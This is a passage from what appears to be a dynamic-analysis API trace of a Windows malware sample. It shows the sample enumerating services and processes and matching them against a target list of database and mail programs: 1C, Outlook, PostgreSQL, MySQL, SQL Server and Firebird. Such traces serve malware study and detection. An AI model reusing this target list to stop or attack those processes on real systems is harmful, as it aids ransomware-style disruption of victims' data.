(lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0201.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0201.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0201.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0201.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0201.692] lstrlenW (lpString="SENS") returned 4 [0201.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0201.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0201.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0201.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0201.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0201.692] lstrlenW (lpString="ShellHWDetection") returned 16 [0201.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0201.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0201.692] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0201.692] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0201.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0201.692] lstrlenW (lpString="Spooler") returned 7 [0201.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0201.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0201.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0201.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0201.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0201.693] lstrlenW (lpString="sppsvc") returned 6 [0201.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0201.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0201.693] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0201.693] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0201.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0201.693] lstrlenW (lpString="SysMain") returned 7 [0201.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0201.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0201.693] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0201.693] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0201.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0201.693] lstrlenW (lpString="Themes") returned 6 [0201.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0201.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0201.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0201.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0201.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0201.694] lstrlenW (lpString="TrkWks") returned 6 [0201.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0201.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0201.694] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0201.694] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0201.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0201.694] lstrlenW (lpString="UxSms") returned 5 [0201.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0201.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0201.694] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0201.694] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0201.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0201.694] lstrlenW (lpString="WdiServiceHost") returned 14 [0201.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0201.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0201.695] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0201.695] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0201.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0201.695] lstrlenW (lpString="WdiSystemHost") returned 13 [0201.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0201.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0201.695] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0201.695] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0201.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0201.695] lstrlenW (lpString="WinDefend") returned 9 [0201.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0201.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0201.695] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0201.695] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0201.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0201.695] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0201.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0201.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0201.695] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0201.696] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0201.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0201.696] lstrlenW (lpString="Winmgmt") returned 7 [0201.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0201.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0201.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0201.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0201.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0201.696] lstrlenW (lpString="wscsvc") returned 6 [0201.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0201.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0201.696] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0201.696] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0201.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0201.696] lstrlenW (lpString="wuauserv") returned 8 [0201.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0201.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0201.696] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0201.696] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0201.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0201.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f0c0d0 | out: hHeap=0x4f0000) returned 1 [0201.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0201.699] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.700] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0201.701] lstrlenW (lpString="System") returned 6 [0201.701] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0201.701] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0201.701] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0201.701] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0201.701] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0201.701] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0201.701] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0201.701] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0201.702] lstrlenW (lpString="smss.exe") returned 8 [0201.702] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0201.702] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0201.702] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0201.702] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0201.702] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0201.702] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0201.702] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0201.702] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.703] lstrlenW (lpString="csrss.exe") returned 9 [0201.703] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0201.704] lstrlenW (lpString="wininit.exe") returned 11 [0201.704] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.705] lstrlenW (lpString="csrss.exe") returned 9 [0201.705] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0201.705] lstrlenW (lpString="winlogon.exe") returned 12 [0201.705] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0201.706] lstrlenW (lpString="services.exe") returned 12 [0201.706] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0201.707] lstrlenW (lpString="lsass.exe") returned 9 [0201.707] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0201.708] lstrlenW (lpString="lsm.exe") returned 7 [0201.708] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.709] lstrlenW (lpString="svchost.exe") returned 11 [0201.709] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.710] lstrlenW (lpString="svchost.exe") returned 11 [0201.710] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.712] lstrlenW (lpString="svchost.exe") returned 11 [0201.712] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.713] lstrlenW (lpString="svchost.exe") returned 11 [0201.713] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.714] lstrlenW (lpString="svchost.exe") returned 11 [0201.714] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0201.714] lstrlenW (lpString="audiodg.exe") returned 11 [0201.714] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.921] lstrlenW (lpString="svchost.exe") returned 11 [0201.921] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.922] lstrlenW (lpString="svchost.exe") returned 11 [0201.922] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0201.923] lstrlenW (lpString="dwm.exe") returned 7 [0201.923] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0201.924] lstrlenW (lpString="explorer.exe") returned 12 [0201.924] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0201.925] lstrlenW (lpString="spoolsv.exe") returned 11 [0201.925] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0201.926] lstrlenW (lpString="taskhost.exe") returned 12 [0201.926] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.927] lstrlenW (lpString="svchost.exe") returned 11 [0201.927] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0201.929] lstrlenW (lpString="taskeng.exe") returned 11 [0201.929] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0201.930] lstrlenW (lpString="taskhost.exe") returned 12 [0201.930] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0201.931] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0201.931] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0201.933] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0201.933] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0201.934] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0201.935] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0201.936] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0201.936] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0201.937] lstrlenW (lpString="always_winds.exe") returned 16 [0201.937] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0201.940] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0201.940] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0201.942] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0201.942] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0201.944] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0201.944] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0201.945] lstrlenW (lpString="alienwed.exe") returned 12 [0201.945] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0201.946] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0201.946] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0201.947] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0201.947] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0201.948] lstrlenW (lpString="mp beginners.exe") returned 16 [0201.948] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0201.949] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0201.949] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0201.950] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0201.950] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0201.951] lstrlenW (lpString="harassment.exe") returned 14 [0201.951] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0201.952] lstrlenW (lpString="francis-communication.exe") returned 25 [0201.952] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0201.953] lstrlenW (lpString="gccinformational.exe") returned 20 [0201.954] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0201.955] lstrlenW (lpString="diploma.exe") returned 11 [0201.955] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0201.957] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0201.957] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0201.959] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0201.959] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.961] lstrlenW (lpString="svchost.exe") returned 11 [0201.961] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0202.620] lstrlenW (lpString="sppsvc.exe") returned 10 [0202.621] Process32NextW (in: hSnapshot=0x1a8, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, 